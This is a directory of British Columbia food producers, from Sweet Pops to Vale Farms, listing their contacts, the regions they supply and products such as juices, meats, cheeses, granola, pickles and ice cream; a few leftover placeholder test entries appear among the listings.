**Email:** [sweetpops@shaw.ca](mailto:sweetpops@shaw.ca)

**Website:** [www.sweetpops.com](http://www.sweetpops.com)

**Address:**

Port Coquitlam, BC

V3C 2M7

**Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

**Company Notes:**

Low in fat, cholesterol free and contains 0 trans fats.

**Products Available:**

Sweet Pops Kettle Korn Popcorn - Year Round

Sweet Pops Kettle Korn is a slightly sweet and salty gourmet popcorn which is low in fat, cholesterol free and contains 0 trans fats. The product is produced from popcorn kernels, sugar, salt and coconut oil. It is packaged in an attractive, retro-looking bag that is complete with nutritional information and bar code. Currently the product comes in a snack size (80 g) as well as a family-sized bag (170 g). Several new flavours will be available in 2006.



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## Tabletree - 250-428-2470

**Contact:** Gary & Susan Snow  
**Toll Free:** Unavailable  
**Phone:** 250-428-2470  
**Cell:** Unavailable  
**Fax:** 250-428-2479  
**Email:** [snowz@shaw.ca](mailto:snowz@shaw.ca)  
**Website:** [www.tabletreejuice.com](http://www.tabletreejuice.com)

**Address:**  
3020 Erickson Road  
Creston, BC  
V0B 1G1

### Regions Supplied:

- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### Company Notes:

"Tabletree is dedicated to using natural healthy ingredients, and to our marketing a safe quality product which we can be proud of while building a good reputation with our consumers, the food industry and our employees."

Proudly Produced, Picked, Prepared and Packed on our farm with NO PRESERVATIVES! Never From Concentrate. "Best Pure Juice Product" 2012 - World Juice Awards, Barcelona, Spain. Stated as one of the Top 10 Companies in East/West Kootenay - 2012 - Kootenay Business Magazine!

### Products Available:

#### Tabletree Black Cherry Juice - Year Round

Tabletree Black Cherry Juice - 8.5 oz (250 ml) glass bottle. Equivalent of 1 pound of fruit in every bottle. Tabletree Juices make a fantastic beverage served hot or cold, by themselves, mixed with any number of other beverages, or as an alcohol free substitute for wine. They also have a place on every chef's ingredient list no matter their favourite style of cooking.

#### Tabletree Black Cherry Culinary Sauce - Year Round

Tabletree Black Cherry Culinary Sauce - 8.5 oz (250 ml) glass bottle. Equivalent of 4 pounds of fruit in every bottle. Tabletree Black Cherry Culinary Sauces are a must have for anyone who cooks; the newbie at home, or a top executive chef. Made from our 100% fresh juices that is reduced down to one fourth of their original volume, concentrating and intensifying the flavour. In baking, marinades, vinaigrettes, stir fries, sauces, over ice cream, as a drizzle over an entrée or dessert, Tabletree Culinary Sauces are a most welcome addition to any dish.

#### Tabletree Red Apple Juice - Year Round

Tabletree Red Apple Juice - 8.5 oz (250 ml) glass bottle. Equivalent of Over 1 pound of fruit in every bottle. Tastes like Mom's Apple Pie. Tabletree Juices make a fantastic beverage served hot or cold, by themselves, mixed with any number of other beverages, or as an alcohol free substitute for wine. They also have a place on every chef's ingredient list no matter their favourite style of cooking.

#### Tabletree Apple Culinary Sauce - Year Round

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Tabletree Apple Culinary Sauce - 8.5 oz (250 ml) glass bottle. Equivalent of Over 4 pounds of fruit in every bottle. Tabletree Apple Culinary Sauces are another must have for anyone who cooks; the newbie at home, or a top executive chef. Made from our 100% fresh juices that is reduced down to one fourth of their original volume, concentrating and intensifying the flavor. In baking, marinades, vinaigrettes, stir fries, sauces, over ice cream, as a drizzle over an entrée or dessert, Tabletree Culinary Sauces are a most welcome addition to any dish.

**Tabletree Fresh Cherries - Summer**

Tabletree Fresh Cherries - Lapin, Sweetheart, and Kootenay Varieties - Please contact North American Produce Buyers at 165 the Queensway Ste. 336, Toronto ON M8Y 1H8 (416) 255-5544 and ask for Tabletree Cherries

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## Tango's Meats - 604-314-4369

**Contact:** Nathan Manning

**Toll Free:** Unavailable

**Phone:** 604-314-4369

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [nathan@tangosmeats.com](mailto:nathan@tangosmeats.com)

**Website:** <https://tangosmeats.com>

### **Address:**

865 Denman St

Vancouver, BC

V6G 2L9

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Tango's Meats has been operating on Denman Street in the West End since 2002. A staple of the neighbourhood we offer quality retail meats and deli items: grass-fed beef, free-range chicken and pork, lamb, bacons and deli meats, and local and imported cheeses. We offer grass-fed beef products wholesale. The owners of Tango's run a cattle operation near Senlac, Saskatchewan from which all of Tango's beef comes, allowing you a direct connection to where your beef comes from. Tango's processes and packages the grass-fed beef products. Distribution available.

### **Products Available:**

Grass-fed beef products. - Year Round

Grass-fed beef products. Extra-Lean Ground, Lean Ground, Medium Ground, Regular Ground, Burger Patties, Slider Patties, Meatballs, Stew Beef, Stir Fry. Retail packaging options available in 500 g to 1 kg plastic-wrapped trays. Wholesale packaging options in vacuum-pack bags to 16 X 16.

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## Taves Family Farm - Applebarn - Unavailable

**Contact:** Joslin Sanderson

**Toll Free:** Unavailable

**Phone:** Unavailable

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Unavailable](#)

**Website:** Unavailable

**Address:**

, BC

**Regions Supplied:**

**Company Notes:**

**Products Available:**

No products listed.

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test - xxx

**Contact:** xxx  
**Toll Free:** Unavailable  
**Phone:** xxx  
**Cell:** Unavailable  
**Fax:** Unavailable  
**Email:** [xx](#)  
**Website:** xx

**Address:**

xxx  
, BC

**Regions Supplied:**

**Company Notes:**

**Products Available:**

No products listed.

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## testing - 250-240-0571

**Contact:** test

**Toll Free:** Unavailable

**Phone:** 250-240-0571

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Unavailable](#)

**Website:** Unavailable

**Address:**

275 bagshaw

Parksville, BC

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

**Products Available:**

No products listed.

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## The Blue Goose Cattle Company Ltd. - 604-980-9106

**Contact:** Doug Sinclair

**Toll Free:** Unavailable

**Phone:** 604-980-9106

**Cell:** Unavailable

**Fax:** 604-980-9146

**Email:** [info@bluegoosecattle.com](mailto:info@bluegoosecattle.com)

**Website:** [www.bluegoosecattle.com](http://www.bluegoosecattle.com)

**Address:**

North Vancouver, BC

V7P 1B3

**Regions Supplied:** All of BC

**Company Notes:**

Farm gate to dinner plate quality control. Developing markets for economically-viable and ecologically-sustainable ranching.

**Products Available:**

Certified Organic Beef Products - Year Round

Our free range, grain-finished beef is raised without the use of antibiotics, growth-inducing hormones, or animal by-products. It is dry-hung and hand cut for exceptional flavour and quality. Fresh block cuts to NAMP standards or flash frozen in individual portions. 2005 winner of "Best Beef in BC," "Chef's Choice", and "Critic's Choice" awards. Featured product in "EAT! Vancouver 2005" exhibit. British Columbia raised and processed beef, distributed from North Vancouver distribution warehouse.

Beef Jerky, Sausages, Hamburger Patties - Year Round

Chemical and preservative free.

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## The Brothaus Bakery Ltd. - 604-826-2829

**Contact:** Allison Whipple  
**Toll Free:** Unavailable  
**Phone:** 604-826-2829  
**Cell:** Unavailable  
**Fax:** 604-826-4174  
**Email:** [allisonshipple@telus.net](mailto:allisonshipple@telus.net)  
**Website:** Unavailable

**Address:**  
Mission, BC  
V2V 5X9

**Regions Supplied:**  
- Vancouver/Mainland

**Company Notes:**  
Most of our products have no preservatives, fats, oils, sugars or dairy.

### Products Available:

#### Artisan Breads - Year Round

We have artisan breads, and all of our breads are hand rolled and baked in an oven straight from Germany. It is a stone deck and we have the ability to push steam through our products, which makes a wonderful end product.

#### Spelt Cookies - Year Round

This cookie is a real phenomenon. It is low in fats, sugars and has a wonderful flavour.



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## The Chai Company - 604-940-9887

**Contact:** Jonathon Markham

**Toll Free:** Unavailable

**Phone:** 604-940-9887

**Cell:** Unavailable

**Fax:** 604-940-9881

**Email:** [jonathon@chaico.com](mailto:jonathon@chaico.com)

**Website:** [www.chaico.com](http://www.chaico.com)

**Address:**

1-8005 Alexander Road

Delta, BC

V4G 1C6

**Regions Supplied:** All of BC

**Company Notes:**

The Chai Company is a Vancouver based micro-brewer of chai concentrates. Using only natural ingredients, our chai is slow brewed with whole spices and organic tea to ensure the finest flavour. Sweetened with organic sugars results in a chai with the perfect balance of sweetness and spice.

**Products Available:**

**Authentic Chai - Black Tea Concentrate - Year Round**

Authentic taste - microbrewed in small batches resulting in a full-bodied flavour profile, spicier and less sweet than most. Based on a recipe carried back from the Karakoram in Pakistan. Pure ingredients - 85% organic, fresh whole spices, and no additives or preservatives. High mixing ratio - less packaging, less transport, less storage, and less post-consumer waste. Certified fair trade - 80% fair trade ingredients, the highest percentage in the industry. Convenient packaging - the only micro-brewed chai in an efficient, durable, and environmentally friendly Tetra Pak package.

**Rooibos Chai - Rooibos Chai Concentrate - Year Round**

Rooibos Chai has all the great taste of slow infused spices in a non-caffeinated Rooibus. Authentic taste - microbrewed in small batches results in a full bodied flavour profile, spicier and less sweet than most. Pure ingredients - 85% organic, fresh whole spices, and no additives or preservatives.

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## The Chef Nose Spices - 604-928-0846

**Contact:** Geri Grigg

**Toll Free:** Unavailable

**Phone:** 604-928-0846

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [thechefnose@gmail.com](mailto:thechefnose@gmail.com)

**Website:** [www.thechefnose.com](http://www.thechefnose.com)

**Address:**

266 Harvard Drive

Port Moody, BC

V3H 1S8

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Chef inspired - Original spice mixes to be used on meat, poultry, fish or vegetables. Sugar Free, MSG free, pure spice mix.

**Products Available:**

Original spice mixes - Year Round

These rubs are available in 8 or 16 oz bottles and are suitable for household or small restaurant use.

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## The Farm House Natural Cheese Co. - 604-796-8741

**Contact:** Debra Amrein-Boyes

**Toll Free:** Unavailable

**Phone:** 604-796-8741

**Cell:** Unavailable

**Fax:** 604-796-8741

**Email:** [schoggi@telus.net](mailto:schoggi@telus.net)

**Website:** [www.farmhousecheeses.com](http://www.farmhousecheeses.com)

**Address:**

5634 McCallum Road

Agassiz, BC

V0M 1A1

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

The Farm House Natural Cheese Co. produces handmade artisan cheeses and specialties from the rich, fresh milk of the farm's own dairy cows and goats. Everything is made right on our family dairy farm in British Columbia's beautiful Fraser Valley. In addition to our shop on the farm, our artisan cheeses are available in fine shops and restaurants around the province. Call for locations and details. Cows' milk cheeses and products include: Cheddar, Cheese Curds, Gouda, Country Morning, Camembert, Brie, Fromage Frais, Creme Fraiche, and Artisan Butter. During the summer months, Gruyere is made from the pasture-grazed milk. Goat milk cheeses include French-style goat cheeses, Brie, Chevre, Feta, Goat Caerphilly, and Cheddar. Fresh bottled goats' milk is also available.

**Products Available:**

Handmade Artisan Cheeses - Year Round

The Farm House Natural Cheese Co. produces handmade artisan cheeses and specialties from the rich, fresh milk of the farm's own dairy cows and from fresh local goats' milk. Everything is made right on our family dairy farm in British Columbia's beautiful Fraser Valley. Cheddar, Cheese Curds, Gouda, Feta, Country Morning, La Pyramide, Camembert, St. George, Brie, Chevre, Fromage Frais and more are available.

Variety of Goat Milk Cheeses - Year Round

French-style goat cheeses and goat caerphilly and cheddar are available.

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## The Granola King - 604 990 4848

**Contact:** James Sherst

**Toll Free:** Unavailable

**Phone:** 604 990 4848

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [greatservice@thegranolaking.com](mailto:greatservice@thegranolaking.com)

**Website:** <http://www.thegranolaking.com>

### Address:

107 Bowser Avenue  
North Vancouver, BC  
V7P3H1

**Regions Supplied:** All of BC

### Company Notes:

The Granola King Wholesome Foods is located in a beautiful facility in North Vancouver. That is where The Granola King and His Band of Badly Singing Bakers work their magic, hand crafting the best natural food available anywhere.

Our Mission is to consistently provide the best quality food possible, to support organic and local production of food, to inspire and educate people about the relationship of quality of life to what they put in their bodies, to care for mother earth by being environmentally responsible, and to provide the Best Service to customers, retailers all those who come in contact with The Granola King. Simply put, to love and nourish people. A tall order that begins right here.

### Products Available:

#### Classic Granola - Year Round

The Granola King Gourmet Classic Granola: almonds, sesame seeds, cranberries and raisins. Lightly sweetened with honey. No wheat, dairy, cholesterol, trans fats, preservatives or other additives. Baked fresh every week in small batches, this nutrition rich granola is lightly sweetened with honey for superior flavour, contains no salt, wheat, sugar or dairy, consists of 11 ingredients and is available in 5 sizes. 20% of your daily iron, 7 grams of dietary fibre and 9 grams of iron in each serving! (1/2 cup) Available in multiple size packaging. 100gram bag, 454gram bag, 750gram bag, 2kg bag and 4.5kg bulk bag. Also available in case lots for a discounted price. Ingredients: Organic rolled oats, sunflower seeds, honey, almonds, sesame seeds, un sulphered coconut, pumpkin seeds, sunflower oil, dried sweetened cranberries (sugar, glycerin, sunflower oil), organic raisins, un sulphered black strap molasses. Availability: available year round

#### Hazelnut Hemp Granola - Year Round

The Granola King Hazelnut Hemp Granola: Hazelnuts, hemp seeds and cranberries. Lightly sweetened with honey. No wheat, dairy, cholesterol, trans fats, preservatives or other additives. Baked fresh every week in small batches, this nutrition rich granola is lightly sweetened with honey for superior flavour, contains no salt, wheat, sugar or dairy, consists of 11 ingredients and is available in 5 sizes. 20% of your daily iron, 7 grams of dietary fibre and 9 grams of iron in each serving! (1/2 cup) Available in multiple size packaging. 100gram bag, 454gram bag, 750gram bag, 2kg bag and 4.5kg bulk bag. Also available in case lots for a discounted price. Ingredients: Organic rolled oats, sunflower seeds, honey, hazelnuts, un sulphered coconut, sunflower oil, pumpkin seeds, hemp seeds, dried sweetened cranberries (sugar, glycerin, sunflower oil), un sulphered black strap molasses, cinnamon, pure vanilla extract.

#### Almond Butter - Year Round

The Granola King Almond Butter: Freshly Roasted Almonds ground to a semi smooth texture. Our nut butters are freshly roasted and ground from whole, premium nuts, not butter stock nuts. No other ingredients! Available in 250ml & 500ml Glass Jars. 12 Units per case. Ingredients: Premium Freshly Roasted Almonds and nuttin' else.

#### Hazelnut Butter - Year Round

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The Granola King Hazelnut Butter: Freshly roasted hazelnuts ground to a semi smooth texture. Our nut butters are freshly roasted and ground from whole, premium nuts, not butter stock nuts. No other ingredients! Available in 250ml & 500ml Glass Jars. 12 Units per case. Ingredients: Premium Freshly Roasted Hazelnuts and nuttin' else.

#### RAW Almond Butter - Year Round

The Granola King RAW Almond Butter: Delicious RAW (Not Roasted) Almonds ground and blended with with almond and coconut oil to give a nice semi smooth texture. Our nut butters are freshly roasted and ground from whole, premium nuts, not butter stock nuts. Available in 250ml & 500ml Glass Jars. 12 Units per case. Ingredients: Premium Almonds, Almond oil and coconut oil.

#### The Granola King Choko HEY!: -

Freshly roasted whole premium hazelnuts blended with a fine semi sweet chocolate. Contains no salt, added sugar or milk solids. Available in 250ml & 500ml Glass Jars. 12 Units per case.

#### The Granola King Choko AL!: - Year Round

Freshly roasted whole premium almonds blended with fine semi sweet chocolate. Contains no salt, added sugar or milk solids. Available in 250ml & 500ml Glass Jars. 12 Units per case.

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## The Oyster Man - 250-505-3251

**Contact:** Brent Petkau

**Toll Free:** Unavailable

**Phone:** 250-505-3251

**Cell:** Unavailable

**Fax:** 250-935-0027

**Email:** [oysterman@telus.net](mailto:oysterman@telus.net)

**Website:** [www.theoysterman.com](http://www.theoysterman.com)

**Address:**

Box 235

Whaletown, BC

V0P 1Z0

**Regions Supplied:** All of BC

**Company Notes:**

My oyster and clam business promotes a "Grower Direct" relationship with shellfish lovers of the world.

**Products Available:**

The Oyster Man's Gourmet Smoked Oysters - Year Round

Available in 70 g tins. Processed and certified in a federally-inspected facility. Tantalize your taste buds with a sensational British Columbian product. Fresh Pacific oysters in a simple marinade of oyster nectar, sugar and salt. Natural hardwood smoke with absolutely no artificial ingredients or added oils. For a "Lusty Bit of Nourishment," please contact The Oysterman.

Fresh Oysters, Clams & Mussels - Year Round

For the finest live oysters, clams and mussels, please contact the Oyster Man of Cortes Island, BC. I invite everyone in Canada to have a "love affair" with a premium-quality, oyster-eating experience.

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## The Pickle Patch Sales - 250-428-8980

**Contact:** Charlene Rast

**Toll Free:** Unavailable

**Phone:** 250-428-8980

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [picklepatch@westcreston.ca](mailto:picklepatch@westcreston.ca)

**Website:** Unavailable

### **Address:**

973 Reclamation Road

Creston, BC

V0G 1G7

### **Regions Supplied:**

- Kootenay

### **Company Notes:**

Pickles are our specialty with our fresh naturally grown vegetables from our farm or purchased from local growers. We have a limited production and our products are unique and Naturally Organic.

### **Products Available:**

#### Sassy Salsa Sauce - Year Round

Sassy Salsa Sauce-made from our fresh garden tomatoes to our sweet green peppers, this garden salsa makes a tasty treat when served with tortilla chips or taco's. Available in 500ml and 1L jars.

#### Best Bread & Butter Pickles - Year Round

More sweet Pickles- Best Bread & Butter Pickles uses cucumbers grown on our farm and picked fresh. The bread and butter pickles are a hit at any barbecues, adding flavor to any burger or sandwich. A new sweet hot pickle now being tested for retail, a old hutterite recipe brought to the present. Available in 500ml and 1L jars.Sweet Giggly Gherkins use the smallest cucumbers and are a knockout with the youngsters.Available in 500ml only.

#### Pickled Eggs - Year Round

2 varieties. Perky pickled Eggs and Mellow Mustard Pickled Eggs. The eggs used to make the pickled eggs are produced from our free-range hens that have access to outside pastures.

#### Sweet Beet pickles - Year Round

Sweet Beet pickles- Old time favourite recipes with a twist - 3 varieties. Spiced beet Pickles, Caraway Beet Pickles and Cinnamon Beet Pickles add a burst of color and spicy flavor to any meal. Available in 500ml and 750ml jars.

#### Pickles and pickled Carrots - Year Round

Small pickling cucumbers and baby carrots grown from our garden are picked and pickled fresh to make these crunchy and tasty pickles of Dilled Cucumber Pickles and Dilled Carrots. HOT or NOT. We have added chili peppers to these old favorites to bring a new zing to these pickles. Two types of Dilled Asparagus with their distinct unique tastes making them irresistible for any pickle lover. Available in 1L Jars.

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## The Tartan Pie - 250-713-1784

**Contact:** Theresa Curtiss and Derek Kercher

**Toll Free:** Unavailable

**Phone:** 250-713-1784

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@thetartanpie.com](mailto:info@thetartanpie.com)

**Website:** [www.thetartanpie.com](http://www.thetartanpie.com)

**Address:**

1430 Errington Road

Errington, BC

V0R 1V0

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Meat and fruit pies with a tasty and flaky crust. Seasonal fruit varieties using local fruit when available. We bake in small batches using our original recipes.

**Products Available:**

Meat Pies - Year Round

Meat Pies with a tasty and flaky crust. Available fresh or frozen.

Fruit Flans and Fruit Pies - Year Round

Fruit Flans and a variety of fruit pies. Seasonal fruit varieties using local fruit when available. Available fresh or frozen.

Sausage Rolls - Year Round

No description available



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## The Udder Guy's Ice Cream Co. Ltd. - 250-954-5555

**Contact:** John Alexander

**Toll Free:** Unavailable

**Phone:** 250-954-5555

**Cell:** Unavailable

**Fax:** 250-954-0755

**Email:** [udderguys@shaw.ca](mailto:udderguys@shaw.ca)

**Website:** [www.udderguysicecream.com](http://www.udderguysicecream.com)

**Address:**

3427 Gibbins Road,

Duncan, BC

V9L 6E6

**Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Our "old fashioned" Super Premium ice cream, is manufactured in Duncan on Vancouver Island, We have been in business since 1999. Please refer to "Udderguysicecream.com" for locations available. We currently produce 24 different flavours, each with their own unique base, for over 120 fine food retailers and restaurants. We also have our own parlour in beautiful Cowichan Bay, on Vancouver Island. Our ice cream has no artificial additives, preservatives, and we use cream, instead of modified milk products. We use local cherries, raspberries, strawberries, blackberries, We husk, shred, and roast all of our own coconut to avoid commercial shredded coconut. Our candied ginger is from fresh ginger root. We make our own chocolate chip cookies, fudge, use local red grapes. We create "Bricks" for the restaurant industry, and 200 ml. containers for the "Novelty" section of retailers

**Products Available:**

Ice Cream - Year Round

500 ml. containers 24 unique flavours 200 ml. containers 10 unique flavours Brick shape for restaurants, 9" X 4" X 4" wrapped in parchment paper 12 unique flavours

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## The Vinegar Works at Valentine Farm - 250-494-7300

**Contact:** B. Kim Stansfield

**Toll Free:** Unavailable

**Phone:** 250-494-7300

**Cell:** Unavailable

**Fax:** 250-494-7399

**Email:** [veggies@valentinefarm.com](mailto:veggies@valentinefarm.com)

**Website:** [www.valentinefarm.com](http://www.valentinefarm.com)

### **Address:**

10216 Gould Avenue

Summerland, BC

V0H 1Z8

### **Regions Supplied:**

- Thompson/Okanagan

### **Company Notes:**

We produce high-quality artisan food products that are organically grown and processed. We rely on ecologically-based practices such as biological and cultural pest management and the conservation of non-renewable resources. Our products are handcrafted using Old World techniques in limited runs.

### **Products Available:**

#### Certified Organic Gewurztraminer White Wine Vinegar - Year Round

200 ml organically grown and organically processed, handcrafted using Old World techniques in limited runs. Beautiful packaging available.

#### Fruit Infused Vinegars - Year Round

Apricot, plum, raspberry, and elderberry are available, but quantities are not as great. Please call for availability.

#### Certified Organic Raspberries - Summer

1 acre available.

#### Certified Organic Coronation Grapes - Summer

1 ton available.

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## Thomas Reid Farms Ltd. - 604-856-5050

**Contact:** Brad Reid

**Toll Free:** Unavailable

**Phone:** 604-856-5050

**Cell:** 604-308-8200

**Fax:** 604-856-9093

**Email:** [bkreid@direct.ca](mailto:bkreid@direct.ca)

**Website:** [www.trforganic.com](http://www.trforganic.com)

**Address:**

5050 244 Street

Langley, BC

V2Z 1G5

**Regions Supplied:**

- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

Thomas Reid Farm is BC's first certified organic chicken farm. The farm is owned and operated by Brad Reid and his family. They are committed to producing the most natural organic chicken in the world. Certified Organic Chicken= No Pesticides or Medication. Thomas Reid Farm's chicken is sold fresh, or frozen whole or in cut-parts.

**Products Available:**

Organic Whole Chickens and Products - Year Round

Certified organic chicken, whole, pieces, sausage, marinated chicken wings, and chicken broths.

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## Three Boys Organics - 250-428-9503

**Contact:** Tony or Eunice Mulder

**Toll Free:** Unavailable

**Phone:** 250-428-9503

**Cell:** Unavailable

**Fax:** 250-428-9300

**Email:** [garlicking@shaw.ca](mailto:garlicking@shaw.ca)

**Website:** [www.organicgarlic.ca](http://www.organicgarlic.ca)

### **Address:**

337 Stace Rd., Box 687

Creston, BC

V0B 1G0

**Regions Supplied:** All of BC

### **Company Notes:**

Three Boys Organics is situated in the Kootenays. It is a family-operated business created for our three boys. They are full partners in this adventure. Our goal is to produce Great Organic Garlic. We concentrate on two main hardneck varieties, Italian Porcelain and German Red garlic, both rich in flavour and long storage.

### **Products Available:**

Dried Organic Garlic - Hardneck - Italian Porcelain - Year Round

Strong rich flavour. In a crystal form, very easy to use as is or to grind into a powder. Excellent shelf life. Available in 1 lb bags and produced from our own certified organic bulbs.

Fresh Organic Garlic - Hardneck - Italian Porcelain - Fall,Summer

Large, easy-to-peel cloves. Excellent shelf life, usually up to 10 months. Great rich flavour in a large bulb with 5-7 cloves. Available seasonally.

Fresh Organic Garlic - Hardneck - German Red - Fall,Summer

Large heads with 8-10 cloves. Strong flavour, excellent storage, usually up to 10 months.

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## Tocino Foods Inc. - 604-231-1937

**Contact:** Haydee Alonzo

**Toll Free:** Unavailable

**Phone:** 604-231-1937

**Cell:** Unavailable

**Fax:** 604-249-3629

**Email:** [haydee@tocinofoods.com](mailto:haydee@tocinofoods.com)

**Website:** [www.tocinofoods.com](http://www.tocinofoods.com)

**Address:**

3540 Barga Drive

Richmond, BC

V8X 2R5

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Haydee's Delight are frozen cured pork products, moderately sweet and marinated in pineapple, 100% pork, leaner quality, no fillers, no MSG added, no artificial food colour. Healthy and nutritious.

**Products Available:**

Haydee's Delight Gourmet Longaniza Pork Sausage - Year Round

Moderately sweet, frozen cured pork sausage, enhanced with pineapple. 100% pork, no fillers, no MSG added, no artificial food colour for a leaner quality. Manufactured by federally-inspected plant, vacuum packed, in a golden package. Each package contains 12 sausage link at 375 g. Institutional packages available upon request.

Haydee's Delight Gourmet Tocino Pork - Year Round

Moderately sweet, thin-cut pork shoulder blade, marinated in pineapple. No MSG added. No artificial food colour for a leaner quality. No fillers. Each package weighs 375 g in a golden vacuum packaging. Manufactured by federally-inspected plant. Institutional packages available upon request.

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## Traehus Haven Farm - 250-248-8754

**Contact:** Bev Roberts or Pete Pottruff

**Toll Free:** Unavailable

**Phone:** 250-248-8754

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [thaven@shaw.ca](mailto:thaven@shaw.ca)

**Website:** Unavailable

**Address:**

P.O. Box 294

Errington, BC

V0R 1V0

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Our pork is from hogs raised on a small farm. They are fed Vegetarian feed with no hormones or antibiotics. Feed is of a maintenance ration and therefore meant for animals living longer lives and not force fed. Hogs take a little longer to reach market size. They are loose housed with lots of room to roam and have shavings and hay/straw bedding. Our butcher works with us to prepare packages of any sizing and all specialty orders. A hands on operation with close contact between owners and animals.

**Products Available:**

Pork Products - Year Round

Pork from hogs raised on small farm. Vegetarian feed with no hormones or antibiotics. Feed is of a maintenance ration and therefore meant for animals living longer lives and not force fed. Hogs take a little longer to reach market size. Loose housed with lots of room to roam and have shavings and hay/straw bedding. Our butcher works with us to prepare packages of any sizing and all specialty orders. A hands on operation with close contact between owners and animals.

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## Tree Island Gourmet Yogurt - 250-334-0608

**Contact:** Scott or Merissa  
**Toll Free:** Unavailable  
**Phone:** 250-334-0608  
**Cell:** Unavailable  
**Fax:** Unavailable  
**Email:** [scottdig@gmail.com](mailto:scottdig@gmail.com)  
**Website:** [www.treeislandyogurt.com](http://www.treeislandyogurt.com)

**Address:**  
3747 Island Highway  
Courtenay, BC  
V9N 9T4

**Regions Supplied:**  
- Vancouver Island & Gulf Islands

**Company Notes:**

We use whole milk from grass-fed cows, and traditional kettle cooking to make real yogurt that is true to its roots-fresh, and local and cultured.

To minimize processing we batch pasteurize our whole milk in a kettle & leave it un-homogenised. The fermentation creates a uniquely light & creamy Cream Top Yogurt.

**Products Available:**

Island Goddess, Greek Style Yogurt - Year Round

Island Goddess, Greek style Yogurt Size 500g3 Flavors; Plain, Silk Road Spice, and Lemon. Whole milk yogurt strained to 8% MF. Milk sourced from grass fed cows, from a single dairy farm.

Tree Island Cream Top Yogurt - Year Round

Tree Island Cream Top Yogurt 2 Sizes 500g and 1.5kg. 3 Flavors; Plain, Island Honey, and Vanilla Bean. Non-homogenised yogurt made with whole milk 3.5% MF, from Grass fed cows. Milk sourced from a single dairy farm.

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## Triple F Farms - 250-498-3623

**Contact:** Ruth McDonald

**Toll Free:** Unavailable

**Phone:** 250-498-3623

**Cell:** Unavailable

**Fax:** 250-498-3623

**Email:** [ruth\\_mcdonald@hotmail.com](mailto:ruth_mcdonald@hotmail.com)

**Website:** Unavailable

**Address:**

RR2 S15 C17

Oliver, BC

V0H 1T0

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

I own a small-scale farm in the Okanagan. Most of my farm consists of a wetland. The balance, which I run myself, is a mix of certified-organic fruits and asparagus. We sell to Alberta residents as well.

**Products Available:**

Cherries - Summer

Certified organic, LEOGA #421

Apricots - Summer

Certified organic, LEOGA #421

Peaches - Summer

Certified organic, LEOGA #421

Plums - Summer

Certified organic, LEOGA #421

Asparagus - Spring,

Certified organic, LEOGA #421



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## TSR Farms - 604-823-4475

**Contact:** Sue Knudsen

**Toll Free:** Unavailable

**Phone:** 604-823-4475

**Cell:** Unavailable

**Fax:** 604-823-6675

**Email:** [sueknudsen@shawcable.com](mailto:sueknudsen@shawcable.com)

**Website:** Unavailable

**Address:**

42784 South Sumas Road

Chilliwack, BC

V2R 4L7

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Family-run farm, no heating, no artificial light, all naturally grown. We use bugs to fight bugs. We sell mostly in the Fraser Valley and a small amount in the Cariboo.

**Products Available:**

Quest Beefsteak Tomatoes - Fall, Spring, Summer

Greenhouse grown, not forced, pesticide free. You can buy 1 tomato to hundreds of pounds. Not pre-picked; picked fresh to fill the order placed. Vine ripened.

Flamingo Long English Cucumbers - Fall, Summer

No pesticides, green house grown - not forced. You can buy one cuke to hundreds at a time. Fresh picked when ordered to give good shelf life and great flavour.

Green, Yellow, Orange & Red Peppers - Fall, Summer

No pesticides, no forced production, vine ripened. Picked fresh when ordered for best shelf life.

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## Udder Guy's Ice Cream Co.Ltd - 250-746-4331

**Contact:** Yves A.Muselle

**Toll Free:** Unavailable

**Phone:** 250-746-4331

**Cell:** Unavailable

**Fax:** 250-597-4332

**Email:** [udderones@shaw.ca](mailto:udderones@shaw.ca)

**Website:** [www.udderguysicecream.com](http://www.udderguysicecream.com)

**Address:**

Duncan, BC

V9L 6W4

**Regions Supplied:**

- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

We have an ice cream and retro candy parlour in beautiful Cowichan Bay on Vancouver island which is open year round. Summer hours are from 10am to 9pm and winter hours are from 10:30 am to 6pm closed Mondays. Our parlour has 24 unique flavours to serve. For information call (250)746-4300

**Products Available:**

**Udder Guy's Ice Cream - Year Round**

Available year round 500ml containers 16 unique flavours sold in over 200 grocery outlets 5.7lt pail containers sold to ice cream parlours and restaurant outlets Wholesale suppliers: Vancouver Island-PSC Mainland- Unifi

**Udder Guys Premium Old Fashioned Style Ice Cream - Year Round**

Old Fashioned Style super premium Ice Cream is manufactured in Duncan on Vancouver Island. We have been in business since 1999. We currently produce 16 different flavours for food retailers and restaurants and 24 flavours for parlours. We have also an ice cream and retro candy parlour in beautiful Cowichan Bay on Vancouver Island. Our ice cream uses no artificial additives,preservatives, flavourings or colorants. We use local milk and cream which makes our ice cream rich and creamy.We also use local berries and fruit from local suppliers. Our ice cream is as natural as you can get with no emulsifiers or stablizers, just cream.

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## Vale Farms Grassroots Ltd. - 250-547-2382

**Contact:** Lorna Ruechel  
**Toll Free:** 866-567-2300  
**Phone:** 250-547-2382  
**Cell:** Unavailable  
**Fax:** 250-547-6080  
**Email:** [valefarms@telus.net](mailto:valefarms@telus.net)  
**Website:** [www.valefarms.com](http://www.valefarms.com)

